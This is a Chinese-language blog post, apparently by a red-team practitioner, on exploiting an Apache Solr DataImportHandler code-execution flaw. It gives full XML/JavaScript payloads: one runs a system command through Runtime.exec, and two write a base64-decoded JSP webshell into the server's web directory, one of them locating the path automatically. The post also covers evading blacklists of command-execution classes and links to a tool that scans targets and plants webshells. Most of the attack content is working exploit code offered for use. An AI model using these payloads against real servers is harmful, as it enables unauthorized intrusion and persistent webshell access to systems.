前言
最近发现这篇在先知上的投稿文章挺火的,许许多多的公众号都转载了,因此记录下自己对该漏洞的利用方式。
传送门:某次红蓝对抗之Solr-RCE实战绕过
利用过程
漏洞说明
首先这个漏洞是一个代码执行漏洞。在solr_exploit这个项目中,有师傅已经提供的代码执行系统命令的payload。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <dataConfig> <dataSource name="streamsrc" type="ContentStreamDataSource" loggerLevel="TRACE" /> <script><![CDATA[ function poc(row){ var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("whoami").getInputStream())); var result = []; while(true) { var oneline = bufReader.readLine(); result.push( oneline ); if(!oneline) break; } row.put("title",result.join("\n\r")); return row; } ]]></script> <document> <entity stream="true" name="entity1" datasource="streamsrc1" processor="XPathEntityProcessor" rootEntity="true" forEach="/RDF/item" transformer="script:poc"> <field column="title" xpath="/RDF/item/title" /> </entity> </document> </dataConfig>
|
一般能命令执行了,都是想着要写shell
,或者是上cs
了。如果有杀软,在有一个webshell
的情况下,会方便我们操作许多。
通常都是直接调用系统命令,将webshell
写进去。
即访问/solr/admin/cores
,获取网站web
的绝对路径,再用echo
和>
将webshell
写进去。
当然也有使用dir
命令,找网站路径,再用echo
和>
将webshell
写入。
遇到的问题
实际上,当你使用cmd /c dir
命令列目录的时候,是失败的。
有时候你都翻不到路径。
解决方案
命令执行写shell的方法
先访问/solr/admin/cores
获得网站路径,这里的网站绝对路径就是C:\xxx\webapp\solr
拿到路径后,将路径转义处理,即将C:\xxx\webapp\solr
转成C:\/xxx\/webapp\/solr
,再将路径urlencode
,再写即可。
但是经过我测试,绝对路径中有空格符时,直接通过命令执行没办法写进去。
因此这种方法也只适用绝对路径无空格时。
远程文件下载
这种方法只适用于出网环境
这篇文章中就总结了windows环境下可以用来下载文件的命令有哪些,以及对应的demo案例。
渗透技巧——从Github下载文件的多种方法
还有前面开始提到的这篇文章
某次红蓝对抗之Solr-RCE实战绕过
但是都不是良策。
直接代码执行写马
为嘛我会想到用代码执行写马呢?原因是之前我也写过两篇关于代码执行漏洞利用文件流写马的文章。
蓝凌OA-treexml-tmpl-RCE审计与漏洞利用
用友-NC-bsh-servlet-BshServlet-RCE-利用方法
再加上网上的文章都是教你怎么命令执行写马,利用条件苛刻,所以就想到,这原来不就是代码执行漏洞,既然能执行java代码,也就能通过java的文件流写马。
V1版本的payload
使用方式是先访问/solr/admin/cores
,获得网站路径,然后替换payload
中的路径,再把webshell
进行urlencode
替换payload
中的123
,发包后,页面回显123456
,就代表写入成功。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <dataConfig> <dataSource name="streamsrc" type="ContentStreamDataSource" loggerLevel="TRACE" /> <script><![CDATA[ function poc(row){ var buf = new java.io.BufferedWriter(new java.io.FileWriter("C:/Program Files (x86)/xxxxx/webapps/solr/1.jsp"));buf.write(new java.lang.String(java.util.Base64.getDecoder().decode("MTIzNDU2")));buf.close(); row.put("title","123456"); return row; return row;
}
]]></script>
<document> <entity stream="true" name="entity1" datasource="streamsrc1" processor="XPathEntityProcessor" rootEntity="true" forEach="/RDF/item" transformer="script:poc"> <field column="title" xpath="/RDF/item/title" /> </entity> </document> </dataConfig>
|
V2版本的payload
这段payload
的好处在于不用自己找网站路径了,直接通过去寻找线程中的Classpath
的绝对URL路径
,再写shell
。
使用方式是将你的webshell
进行base64编码
,替换payload
中的MTIzNDU2
,1.txt
换成jsp
后缀的文件,在经过urlencode
后,发包即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <dataConfig> <dataSource name="streamsrc" type="ContentStreamDataSource" loggerLevel="TRACE" /> <script><![CDATA[ function poc(row){ var buf = new java.io.BufferedWriter(new java.io.FileWriter(java.net.URLDecoder.decode(java.lang.Thread.currentThread().getContextClassLoader().getResource("").getPath().toString().replaceAll("file:\/", "").split("WEB-INF")[0]+"1.txt")));buf.write(new java.lang.String(java.util.Base64.getDecoder().decode("MTIzNDU2")));buf.close(); row.put("title",123456); return row;
}
]]></script>
<document> <entity stream="true" name="entity1" datasource="streamsrc1" processor="XPathEntityProcessor" rootEntity="true" forEach="/RDF/item" transformer="script:poc"> <field column="title" xpath="/RDF/item/title" /> </entity> </document> </dataConfig>
|
这个方法写马的缺点在于,我自己尝试利用这个漏洞的时候,只有get
方法可以代码执行,post
方法是失败了。且get
方法是有长度限制的,所以webshell
尽量还是别太大了。
总结
能代码执行通过文件流写shell
,就不要通过命令执行写马
。毕竟命令执行的那几个类和方法容易被加黑名单
,尤其是payload
一直在互联网上流传了好几年。
最终以上流程用java
实现了一个demo工具
。
将你的shell
放在shell目录
下,运行工具,自动加载你的webshell
。
此时输入待测试的站点的url
可以点击检测
,测试该站点是否存在漏洞
,也可直接输入core
的值后,写入webshell
。
工具传送门:https://github.com/jdr2021/ApacheSolrRCE